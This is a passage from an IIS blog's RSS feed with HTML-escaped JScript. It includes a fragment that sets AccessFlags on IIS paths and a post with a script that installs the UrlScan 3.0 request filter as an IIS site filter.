color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(i&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;i&amp;lt;SplitPath.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;i++)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;GetObject(CurrentPath)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.Create(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"IISWebDirectory"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SplitPath[i])&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.SetInfo()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;CurrentPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SplitPath[i]&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;IsFolder&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;GetObject(CurrentPath)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.Create(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"IISWebDirectory"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SplitPath[SplitPath.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;])&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.SetInfo()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;else&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;GetObject(CurrentPath)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.Create(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"IISWebFile"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SplitPath[SplitPath.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;])&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.SetInfo()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;CurrentPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SplitPath[SplitPath.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#000000&gt;]&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;GetObject(CurrentPath)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.Put(&lt;/FONT&gt;&lt;FONT color=#808080&gt; "AccessFlags"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.SetInfo()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Echo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Done"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Quit()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt; &lt;/DIV&gt;&lt;/BLOCKQUOTE&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3000346" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/RequestFiltering/default.aspx">RequestFiltering</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>Script to install UrlScan v3.0 as a site filter.</title><link>http://blogs.iis.net/nazim/archive/2008/10/14/script-to-install-urlscan-v3-0-as-a-site-filter.aspx</link><pubDate>Tue, 14 Oct 2008 07:02:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2680894</guid><dc:creator>naziml</dc:creator><slash:comments>23</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2680894</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/10/14/script-to-install-urlscan-v3-0-as-a-site-filter.aspx#comments</comments><description>&lt;P&gt;Although using WIX to create an MSI to do this task is a cleaner approach, it is too heavy duty for me. I do this often enough to warrant creating a script for it, so I though I would share it out.&lt;/P&gt;
&lt;P&gt;To use it you would run: InstallUrlScanAtSite.js -siteid:1 [-dest:c:\foo]. You have to specify the site ID of the site you want it installed at. The 'dest' parameter will be the location where your urlscan.dll and urlscan.ini file will be copied to for use as the filter path. If you don't specify this, it will copy them to your site's ROOT vdir path.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;PRE class=csharpcode&gt;&lt;SPAN class=rem&gt;// InstallUrlScatAtSite.js&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// Install UrlScan 3.0 at a particular site.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// Author: Nazim Lala&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// What it does:&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   1. By default copy urlscan.dll and urlscan.ini from &lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//      system32\inetsrv\urlscan dir to root of site you want to install to.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//      Else use the value of Dest as the destination.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   2. Install this copy of the dll as a site filter of that particular site.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// Assumptions:&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   1. You already have UrlScan 3.0 installed globally on the machine.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   2. The script has access to write to your site's root directory or &lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//      Dest&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;

&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szUsage;
&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szSiteID;
&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szDest;


&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; CRLF = &lt;SPAN class=str&gt;"\r\n"&lt;/SPAN&gt;;

szUsage = &lt;SPAN class=str&gt;""&lt;/SPAN&gt; +
    &lt;SPAN class=str&gt;"Install UrlScan 3.0 as a site filter"&lt;/SPAN&gt; + CRLF +
    CRLF +
    WScript.ScriptName + &lt;SPAN class=str&gt;" [[-Parameter:Value]...]"&lt;/SPAN&gt; + CRLF +
    CRLF +
    &lt;SPAN class=str&gt;"Where:"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    Parameter  Value"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    ---------  -------------------------------------------"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    SiteID     Site ID # (Required)"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    Dest       Destination to copy urlscan.dll/.ini to"&lt;/SPAN&gt; + 
    &lt;SPAN class=str&gt;"(Default is Site root)"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;""&lt;/SPAN&gt;;
    
&lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( ParseCommandline() &amp;amp;&amp;amp; ValidateArgs() )
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !SetandCheckDestination() ) 
    {
        WScript.Quit( 1 );
    }
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !CopyDllAndConfig() ) 
    {
        WScript.Quit( 2 );
    }
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !AddFilter() )
    {
        WScript.Quit( 3 );
    }
    
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; ParseCommandline()
{
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; exp = &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; RegExp( &lt;SPAN class=str&gt;"-([^:]+):(.+)"&lt;/SPAN&gt; );
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; args;

    &lt;SPAN class=kwrd&gt;for&lt;/SPAN&gt; ( &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; i = 0; i &amp;lt; WScript.Arguments.length; i++ )
    {
        args = exp.exec( WScript.Arguments( i ) );
        &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( args == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"Invalid parameter "&lt;/SPAN&gt; + WScript.Arguments( i ) )
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
        &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
        {
            &lt;SPAN class=kwrd&gt;switch&lt;/SPAN&gt; ( args[1].toLowerCase() )
            {
                &lt;SPAN class=kwrd&gt;case&lt;/SPAN&gt; &lt;SPAN class=str&gt;"siteid"&lt;/SPAN&gt;:
                    szSiteID = args[2];
                    &lt;SPAN class=kwrd&gt;break&lt;/SPAN&gt;;
                &lt;SPAN class=kwrd&gt;case&lt;/SPAN&gt; &lt;SPAN class=str&gt;"dest"&lt;/SPAN&gt;:
                    szDest = TrimSlashes( args[2] );
                    &lt;SPAN class=kwrd&gt;break&lt;/SPAN&gt;;
                &lt;SPAN class=kwrd&gt;default&lt;/SPAN&gt;:
                    WScript.Echo( &lt;SPAN class=str&gt;"Unknown parameter "&lt;/SPAN&gt; + args[1] );
                    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
            }
        }
    }

    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; ValidateArgs()
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( szSiteID == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
    {
        WScript.Echo( &lt;SPAN class=str&gt;"Missing Site ID."&lt;/SPAN&gt; + szUsage);
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; SetandCheckDestination()
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( szDest == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
    {
        &lt;SPAN class=rem&gt;// Set destination to site root&lt;/SPAN&gt;
        &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
        {
            &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objSite = GetObject( &lt;SPAN class=str&gt;"IIS://LOCALHOST/W3SVC/"&lt;/SPAN&gt; + 
                szSiteID +&lt;SPAN class=str&gt;"/ROOT"&lt;/SPAN&gt; );
            szDest = objSite.Path;
        }
        &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"Failed to acquire site's ROOT path. "&lt;/SPAN&gt; +  
                FormatErrorString( e ) );
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
    }
    &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
    {
        &lt;SPAN class=rem&gt;// Check if destination path exists. If not try to create it.&lt;/SPAN&gt;
        &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
        {
            &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objFSO = &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; ActiveXObject( &lt;SPAN class=str&gt;"Scripting.FileSystemObject"&lt;/SPAN&gt; );
            &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !objFSO.FolderExists( szDest ) )
            {
                objFSO.CreateFolder( szDest );
            }
        }
        &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"Failed to create folder. "&lt;/SPAN&gt; + 
                FormatErrorString( e ) );
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
    }

    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}    

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; CopyDllAndConfig()
{
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objFSO = &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; ActiveXObject( &lt;SPAN class=str&gt;"Scripting.FileSystemObject"&lt;/SPAN&gt; );
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; WshShell = WScript.CreateObject( &lt;SPAN class=str&gt;"WScript.Shell"&lt;/SPAN&gt; );
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objEnv = WshShell.Environment( &lt;SPAN class=str&gt;"Process"&lt;/SPAN&gt; );
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szUrlScanDir = objEnv( &lt;SPAN class=str&gt;"WINDIR"&lt;/SPAN&gt; ) + 
            &lt;SPAN class=str&gt;"\\system32\\inetsrv\\urlscan"&lt;/SPAN&gt;;
        objFSO.CopyFile( szUrlScanDir+&lt;SPAN class=str&gt;"\\urlscan.dll"&lt;/SPAN&gt;, 
            szDest+&lt;SPAN class=str&gt;"\\urlscan.dll"&lt;/SPAN&gt; );
        objFSO.CopyFile( szUrlScanDir+&lt;SPAN class=str&gt;"\\urlscan.ini"&lt;/SPAN&gt;, 
            szDest+&lt;SPAN class=str&gt;"\\urlscan.ini"&lt;/SPAN&gt; );
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        WScript.Echo( &lt;SPAN class=str&gt;"Failed to copy files."&lt;/SPAN&gt; +
            FormatErrorString( e ) );
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; AddFilter()
{
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objSiteFilters;
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objUrlScanFilter;
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szLoadOrder;
    
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        objSiteFilters = GetObject(&lt;SPAN class=str&gt;"IIS://LOCALHOST/W3SVC/"&lt;/SPAN&gt; + 
            szSiteID + &lt;SPAN class=str&gt;"/FILTERS"&lt;/SPAN&gt;);
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Perhaps we don't have any filters.&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Try to create it.&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
        {
            objSiteFilters = GetObject( &lt;SPAN class=str&gt;"IIS://LOCALHOST/W3SVC/"&lt;/SPAN&gt; + 
                                    szSiteID ).Create( &lt;SPAN class=str&gt;"IIsFilters"&lt;/SPAN&gt;,
                                                        &lt;SPAN class=str&gt;"Filters"&lt;/SPAN&gt; );
            objSiteFilters.SetInfo();
        }
        &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e2 )
        {
            &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
            &lt;SPAN class=rem&gt;// Could not create the filters node. Quit.&lt;/SPAN&gt;
            &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
            WScript.Echo( &lt;SPAN class=str&gt;"Failed to create filters node."&lt;/SPAN&gt; + 
                FormatErrorString( e ) );
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
    }
    
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Create the actual Filters node and configure path.&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        objUrlScanFilter = objSiteFilters.Create( &lt;SPAN class=str&gt;"IIsFilter"&lt;/SPAN&gt;, 
            &lt;SPAN class=str&gt;"UrlScan 3.0"&lt;/SPAN&gt; );
        objUrlScanFilter.FilterPath = szDest;
        objUrlScanFilter.SetInfo();
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( e.number == -2147024713 )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"UrlScan 3.0 Filter already exists."&lt;/SPAN&gt; );
        }
        &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
        {
            WScript.Echo( FormatErrorString( e ) );
        }

        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Update FilterLoadOrder and append to beginning of list&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        szLoadOrder = objSiteFilters.FilterLoadOrder;
        
        &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( szLoadOrder == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
        {
            objSiteFilters.FilterLoadOrder = &lt;SPAN class=str&gt;"UrlScan 3.0"&lt;/SPAN&gt;;
        }
        &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
        {
            objSiteFilters.FilterLoadOrder = &lt;SPAN class=str&gt;"UrlScan 3.0,"&lt;/SPAN&gt;+szLoadOrder;
        }
        objSiteFilters.SetInfo();
        
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        WScript.Echo( &lt;SPAN class=str&gt;"Failed to update filter load order: "&lt;/SPAN&gt; + 
            FormatErrorString( e ) );
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    
    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; TrimSlashes( strInput )
{
    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; strInput.replace( &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; RegExp( &lt;SPAN class=str&gt;"^/+|/+$"&lt;/SPAN&gt;, &lt;SPAN class=str&gt;"g"&lt;/SPAN&gt; ), &lt;SPAN class=str&gt;""&lt;/SPAN&gt; );
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; Int32ToHRESULT( num ) 
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( num &amp;lt; 0 )
    {
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=str&gt;"0x"&lt;/SPAN&gt; + &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; Number( 0x100000000 + num ).toString( 16 );
    }
    &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
    {
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=str&gt;"0x"&lt;/SPAN&gt; + num.toString( 16 );
    }
}


&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; FormatErrorString( objError )
{
